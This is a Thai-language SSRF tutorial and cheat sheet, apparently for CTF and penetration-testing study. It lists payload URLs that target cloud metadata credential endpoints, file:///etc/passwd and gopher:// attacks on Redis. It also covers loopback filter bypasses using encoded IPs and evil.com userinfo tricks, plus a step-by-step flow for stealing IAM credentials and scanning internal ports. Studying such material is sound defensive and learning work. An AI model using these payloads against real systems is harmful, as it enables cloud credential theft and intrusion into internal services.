คลัง
web

Server-Side Request Forgery (SSRF)

SSRF คือการหลอกให้เซิร์ฟเวอร์ส่ง request ไปยังปลายทางที่ผู้โจมตีกำหนด มักใช้เข้าถึงทรัพยากรภายใน (internal service, cloud metadata) ที่เข้าจากภายนอกไม่ได้ บทนี้ครอบคลุมการตรวจจับ, เป้าหมายภายใน, blind SSRF และการ bypass filter

IntermediateAdvanced#ssrf#metadata#internal#redirect#blind#web#ctf

1. หลักการ

เมื่อแอปรับ URL จากผู้ใช้แล้วไป fetch เอง (เช่น โหลดรูปจาก URL, webhook, PDF generator, import จาก link) ผู้โจมตีเปลี่ยน URL ให้ชี้ไปทรัพยากรภายในที่ปกติเข้าไม่ถึง — เซิร์ฟเวอร์กลายเป็น proxy ให้ เพราะ request ออกจากในเครือข่าย ไม่ใช่จากอินเทอร์เน็ต

SSRF — เซิร์ฟเวอร์ยิง request แทนผู้โจมตี
attacker web server 169.254.169.254 (metadata) internal-only service url=...

2. จุดที่มักพบ + ตรวจจับ

  • ฟีเจอร์ที่รับ URL: โหลดรูป/avatar จาก URL, webhook, URL preview, import from URL, PDF/screenshot generator
  • พารามิเตอร์ที่ดูเหมือน path/host: url=, image=, callback=, feed=, target=
  • ตรวจจับ: ชี้ URL ไปเซิร์ฟเวอร์เราเอง (Burp Collaborator/interactsh) ดูว่ามี request เข้ามาไหม

3. เป้าหมายภายใน

Cloud metadata และ internal
# AWS metadata (IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
http://metadata.google.internal/computeMetadata/v1/  (ต้อง header Metadata-Flavor: Google)
# internal services
http://127.0.0.1:6379/   (Redis)
http://127.0.0.1:8080/admin
# protocol อื่น (ถ้า client รองรับ)
file:///etc/passwd
gopher://127.0.0.1:6379/_<redis-commands>   (gopher = ยิง raw TCP ได้)
AWS IMDSv2 ต้องใช้ token ก่อน ทำให้ SSRF ตรงๆ ยากขึ้น; gopher อันตรายเพราะส่ง byte ดิบไป service ภายในได้

4. Bypass filter

เลี่ยง blacklist ของ 127.0.0.1 / localhost
http://127.1/              (ย่อ)
http://0.0.0.0/
http://[::1]/              (IPv6 loopback)
http://2130706433/         (decimal ของ 127.0.0.1)
http://0x7f000001/         (hex)
http://localtest.me/       (DNS ที่ชี้ 127.0.0.1)
http://attacker.com@127.0.0.1/    (userinfo trick)
# redirect: ให้ URL ที่ผ่าน filter redirect ไป internal
# DNS rebinding: โดเมนเปลี่ยน IP ระหว่าง check กับ fetch

5. Blind SSRF

ถ้า response ไม่กลับมาให้เห็น ยืนยันด้วย OOB (Burp Collaborator/interactsh) — ดูว่ามี DNS/HTTP callback เข้ามาไหม จากนั้นใช้ทำ port scan ภายใน (ดูเวลา/พฤติกรรมต่างกันต่อ host:port) หรือยิง internal service ที่ทำงานแม้ไม่เห็น output

6. Quick Reference

  • หาฟีเจอร์ที่ server fetch URL (รูป, webhook, preview, PDF)
  • เป้าหมาย: cloud metadata (169.254.169.254), 127.0.0.1, internal service
  • ยืนยัน: ชี้ไป Collaborator/interactsh ดู callback
  • bypass: 127.1, decimal/hex IP, [::1], @ userinfo, redirect, DNS rebinding
  • gopher:// = ยิง raw TCP ไป Redis/อื่นๆ ได้
  • blind → port scan ภายใน + ยิง service
  • ป้องกัน: allowlist ปลายทาง, บล็อก internal range, IMDSv2

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ feature ที่ให้เราใส่ URL แล้ว server ไปดึงมา (webhook, PDF generator, image fetch, URL preview) ทำตามนี้ทดสอบ SSRF ทีละขั้น

  1. 1หา parameter ที่รับ URL (url=, callback=, image=, feed=, next=) ลองใส่ URL ของเราเองดูว่า server เรียกจริงไหม
  2. 2เปิด webhook.site (หรือ interactsh) เอา URL ที่ได้ไปใส่ในพารามิเตอร์ แล้วดูว่ามี request เข้ามาไหม (ยืนยันว่า SSRF ทำงานจริง)
  3. 3ถ้ายืนยันแล้ว ลองชี้เข้า internal service: http://127.0.0.1:80, http://169.254.169.254/latest/meta-data/ (cloud metadata) ดูว่าดึงข้อมูลกลับมาแสดงไหม
  4. 4ถ้า metadata endpoint ตอบกลับมา (มี IAM role/credential) ลองดึง /latest/meta-data/iam/security-credentials/ ต่อ
  5. 5ถ้า URL parameter มี allowlist/regex กรอง domain ลอง bypass: http://allowed.com@evil.com, http://evil.com#allowed.com, หรือ DNS rebinding
  6. 6ถ้ากรอง IP ภายใน ลอง encode IP ต่างฟอร์แมต: octal (0177.0.0.1), decimal (2130706433), หรือ IPv6 mapped ([::ffff:127.0.0.1])
  7. 7ทดสอบ protocol อื่นนอกจาก http: gopher://, file://, dict:// (ถ้า parser รองรับ อาจโจมตี internal service เช่น Redis ผ่าน gopher)
  8. 8ถ้า response ไม่แสดงผลตรงๆ (blind SSRF) ยืนยันด้วย out-of-band ผ่าน interactsh/dnsbin สังเกต DNS lookup ที่เข้ามา
  9. 9ยืนยันเข้าถึง internal port ได้แล้ว ลอง port scan ภายในผ่าน SSRF (เทียบเวลา/error ต่างกันของแต่ละพอร์ต) หา service อื่นโจมตีต่อ
Master flow — ยืนยันและยกระดับ SSRF ทีละขั้น
ใส่ URL ของเราเอง (webhook.site) ในพารามิเตอร์ที่รับ URL แล้วส่ง
webhook.site เห็น request เข้ามาจาก server เป้าหมายไหม?
✅ มี request เข้ามาจริง→ ยืนยัน SSRF ทำงาน
❌ ไม่มีอะไรเลย→ ลองปรับ format ก่อน
ลองเปลี่ยน scheme/format (https, ไม่มี http, ใส่พอร์ต) หรือดู response error ว่า block เพราะอะไร (regex/allowlist)
แก้แล้วเรียกได้ไหม?
✅ เรียกได้แล้ว→ ยืนยัน SSRF สำเร็จ
❌ ยังไม่ได้เลย→ อาจไม่ใช่ SSRF
ยืนยัน SSRF ทำงานแล้ว → ลองชี้เข้า internal/cloud metadata: http://169.254.169.254/latest/meta-data/
ดึง metadata/internal service กลับมาแสดงผลไหม (in-band)?
✅ เห็นผลตรงๆ→ ดึง credential ไปใช้ต่อ
❌ ไม่เห็นอะไรเลย (blind)→ ต้องยืนยันแบบ OOB
ยืนยันแบบ blind ผ่าน OOB: ชี้ไปที่ domain ของ interactsh/dnsbin แล้วดู DNS lookup ที่เข้ามาแทน
ถ้า domain ถูกกรอง (allowlist) ลอง bypass: http://allowed.com@evil.com, encode IP (octal/decimal), DNS rebinding
ลอง protocol อื่น (gopher://, file://, dict://) ถ้า parser รองรับ เพื่อยิง internal service (เช่น Redis) ผ่าน gopher
เข้าถึง internal service/port ได้แล้ว → ลอง port scan ภายในผ่าน SSRF หา service อื่นต่อ
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ยืนยัน callback (OOB)curlalready in Kaliwebhook.site / interactsh (interact.sh)
ยืนยัน DNS OOB (blind)digalready in Kalidnsbin / interactsh
แก้/ดักจับ requestBurp Suitealready in Kali-
encode IP/URL หลบ filter--CyberChef / dcode.fr
port scan ภายในผ่าน SSRFBurp Intruder (เทียบเวลา/error)--
สร้าง gopher payload โจมตี internal (Redis/SMTP)-git clone gopherus-
เรียนรู้ SSRF เพิ่ม--portswigger web security academy
🚑 ถ้าตันสนิท ลองท่าถัดไป: open-redirect ถ้า server ไม่ยอมเรียก URL เราเลย (อาจเป็นแค่ redirect), aws-iam-privesc ถ้าดึง cloud metadata/credential ได้แล้วไปต่อ privesc บน cloud, xxe ถ้าช่องทาง SSRF จริงๆ มาจาก XML parser, command-injection ถ้า internal service ที่เข้าถึงได้เป็นจุดที่รันคำสั่งได้ต่อ

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้